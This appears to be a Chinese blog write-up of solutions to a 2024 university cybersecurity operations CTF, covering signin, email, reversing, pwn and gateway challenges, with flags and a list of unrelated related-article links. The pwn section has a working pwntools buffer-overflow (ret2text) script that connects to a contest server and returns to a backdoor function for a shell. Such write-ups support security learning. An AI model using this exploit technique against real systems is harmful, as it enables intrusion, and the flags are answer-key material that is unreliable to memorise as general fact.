2024高校网络安全管理运维赛题目--复现+题目+wp

ops/2024/10/19 7:37:18/

比赛官网

比赛官网

部分writeup

Signin
如图所示GIF提取,然后简单的ROT13
flag{welcome-to-signin-quiz}

邮件
----如图所示简单的base64

邮件flag{WeLCoMeto}

邮箱flag{phishHUntInG}

Babyre
解析:放到IDA分析,看伪代码

得到AncsA6gXMSMoMqIuNCMuxaYuAGIavC9=关键字符转
分析得到是类似base64的加密但又不完全是
写python代码对关键字符串处理,

def reverse_alnum(input_str):result = []for char in input_str:if char.isalpha():# 大写字母A-Z替换为Z-Aif char.isupper():result.append(chr(90 - (ord(char) - 65)))# 小写字母a-z替换为z-aelse:result.append(chr(122 - (ord(char) - 97)))elif char.isdigit():# 数字1-9替换为9-1if char != '0':result.append(str(9 - int(char) + 1))else:result.append('0')  # 0保持不变else:# 非字母数字字符保持不变result.append(char)return ''.join(result)# 示例
input_str = input("请输入一个包含英文字符和数字的字符串:")
output_str = reverse_alnum(input_str)
print("替换后的字符串为:", output_str)

最后base64解密
答案flag{B4se64_1s_s0_e4sy}

在这里插入图片描述

Pwn
解释:看代码呀
构造输入的内容溢出然后ret到后门函数(简单的ret2text)
答案:flag{kOoD1EijiemeePh8IeNei2XOL8ich5de}

from pwn import *
#context(os='linux',arch='amd64',log_level='debug')
#p=process('./pwn')
elf=ELF('./pwn')
libc = ELF('libc.so.6')
p=remote("prob07.contest.pku.edu.cn",10007)
#gdb.attach(p, 'b *0x40121d')bin_sh_address_chuancan=0x40117aret = 0x40121eoffset=0x78payload1=b'31:MEQCIHOFrdjB9js6X862TKy0BVBCbHCJyY9DFzfczTllh8GuAiA7m5orfJ0SRZt6xI_ZEE__jRp8V9V8YIP13k61RG9quw=='
p.sendline(payload1)payload2=b'a'*offset + p64(bin_sh_address_chuancan)
p.sendlineafter(b'Enter your username: ',payload2)
p.sendline(payload2)
#pause()
p.interactive()

在这里插入图片描述Gateway解析:
找到这个文件 ,十进制的ASCII的转换
答案:flag{ad1985868133e8cf1828cb84adbe5a5b}
在这里插入图片描述

题目资源

题目资源

有时间我再自己完全的做一遍,未完待续~

答案当然是要最后看哒:

官方writeup
集思广益
比较好的备份


http://www.ppmy.cn/ops/48665.html

相关文章

Qt系统相关

本文目录 1.Qt事件事件的处理标签事件鼠标事件滚轮事件按键事件定时器事件窗口事件事件派发器 2.Qt文件操作QFile的基本使用 3.Qt多线程使用线程线程锁connect的第五个参数 条件变量和信号量 4.Qt网络编程UDP SocketTCP SocketQTcpServerQTcpSocket HTTP的编写 5.QT多媒体播放音…

springboot-自动配置

一、自动配置的原理 Spring Boot 的自动配置基于以下几个核心概念: 条件注解 (Conditional Annotations):Conditional 系列注解用于根据特定条件判断是否加载某个配置类或 Bean。 自动配置类 (Auto-configuration Classes):这些类通过 META-…

【计算机网络】个人学习笔记——第六章 应用层:域名系统DNSWWW万维网FTPHTTPSMTPPOP3DHCP

文章目录 第六章 应用层一、应用层概述1.应用层的功能2.应用层的重要协议3.应用层的常见模型 二、域名系统DNS【重点】1.DNS域名解析系统概述2.域名结构3.域名类型4.域名服务器5.域名解析方式6.域名查询过程的理解 三、文件传输协议【重点】1.文本传送协议FTP2.简单文件传送协议…

背景渐变动画登录页

b站视频演示效果: 效果图: 完整代码: <!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>背景…

list容器的基本使用

目录 前言一&#xff0c;list的介绍二&#xff0c;list的基本使用2.1 list的构造2.2 list迭代器的使用2.3 list的头插&#xff0c;头删&#xff0c;尾插和尾删2.4 list的插入和删除2.5 list 的 resize/swap/clear 前言 list中的接口比较多&#xff0c;与string和vector类似&am…

如何在 Windows 10/11 上编辑 PDF [4 种简单方法]

PDF 在大多数设备上都易于查看&#xff0c;但由于其设计用于查看&#xff0c;因此编辑起来可能比较棘手。编辑 PDF 可能比编辑 Microsoft Office 文档更具挑战性。 不用担心&#xff0c;我们已经为你做好了准备。无论你是想添加、删除还是插入文本或图片&#xff0c;你都可以使…

Python酷库之旅-比翼双飞情侣库(08)

目录 一、xlrd库的由来 二、xlrd库优缺点 1、优点 1-1、支持多种Excel文件格式 1-2、高效性 1-3、开源性 1-4、简单易用 1-5、良好的兼容性 2、缺点 2-1、对.xlsx格式支持有限 2-2、功能相对单一 2-3、更新和维护频率低 2-4、依赖外部资源 三、xlrd库的版本说明 …

《站在2024年的十字路口:计算机专业是否仍是高考生的明智之选?》

文章目录 每日一句正能量前言行业竞争现状行业饱和度和竞争激烈程度[^3^]新兴技术的影响[^3^]人才需求的变化[^3^]行业创新动态如何保持竞争力 专业与个人的匹配度判断专业所需的技术能力专业核心课程对学生的要求个人兴趣和性格特点专业对口的职业发展要求实践和经验个人价值观…